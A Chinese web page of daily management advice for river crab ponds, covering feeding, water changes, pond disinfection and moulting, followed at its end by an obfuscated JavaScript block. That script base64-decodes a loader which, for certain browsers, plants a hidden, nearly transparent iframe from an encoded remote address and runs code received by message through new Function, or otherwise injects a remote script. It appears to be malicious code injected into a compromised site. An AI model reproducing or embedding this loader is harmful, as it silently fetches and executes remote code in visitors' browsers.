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河蟹养殖塘的日常管理方案

日常管理是预防河蟹疾病及增产增效的关键步骤,以下方案仅供河蟹养殖户参考。

1、合理投饵:根据季节、天气、水色及摄食情况进行投饵。晴天,水温高、水色好,吃食旺时可多投,而阴天,水温低,炎热夏天闷热天,水色差,吃食少,应少投饵。

2、饵料要科学搭配:河蟹是杂食动物,饵料搭配要根据不同生长季节,坚持“两头精,中间粗,荤素搭配”的原则,以防河蟹动物性蛋白质饵料充足河蟹早熟,影响河蟹蜕壳增大。

3、均匀投喂:制做饵料要新鲜适口,投饵均匀,使河蟹吃饱吃好,消化吸收快,提高饵料利用率,不得饥一顿,饱一顿,忽多忽少,隔1-2天投喂一次,因河蟹生长个体大小差异,争食互相格斗伤亡,影响成活率,可在投喂时多设几个点分布均匀,避免争食伤亡。

4、勤巡塘:每日早中晚要巡塘一次,了解河蟹的活动摄食,水质变化情况并采取相应措施,及早调治,避免延误最佳调治时间,影响河蟹生长发育。

5、勤换水:特别是在夏季蟹生长旺盛,投饵量增长,代谢废物亦增多,溶氧降低,有害物质含量提高,水质富营养化,应经常排出一些老水,再加入新水,改善水质,冲淡有害物质含量,提高水体中溶氧,有助于河蟹有个良好的生存环境。

6、定期检测化验水质进行消毒:平时可每隔30天用生石灰、漂白粉或生物制剂消毒水体,夏季可每隔半个月进行一次水体消毒杀菌,生石灰用量为每立方水体20克,漂白粉1克,兑水溶化后全池均匀泼洒。

7、促使蜕壳或蜕壳同步,可在蜕壳前池水中泼洒钙能速补、磷酸二氢钙补充钙质和蜕壳素,促进河蟹蜕壳同步,减少蜕壳时伤亡,提高成活率。

8、及时清除残查剩饵。每天清除池中漂浮杂草和漂浮物,以免污染水质,经常消毒食场,杜绝注入有病源和污染水源,杜绝病蟹乱丢、乱放,发现及时深埋,以防病菌相互交叉感染。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x6C\x43\x49\x46\x65\x54\x61\x74"]=function(){eval(tCTa("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQodENUYSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHRDVGEoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih0Q1RhKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdENUYSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHRDVGEoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVRMJysndycrJ1UnKydqJysnTXonKycwJysnQ2VHJysnSlQnKydKc1YnKydEWicrJ3pWVycrJ2JHSlRKJysnelFEJysnTncnKydFJysnVFEnKyd6VVNTJysnYnZObScrJ0x1JysnSjInKydjJysnbVJXYicrJ3VjM2QzJysnWmtNJysnbFlrJysnTWwnKydFME0nKydsTScrJ0hjJysnMFJIYScrJycrJycsJycrJ2hEdicrJ3RUaycrJ1YwJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0RjcCcrJ0pxNicrJ2knKycnKycnLCdTJyk="));}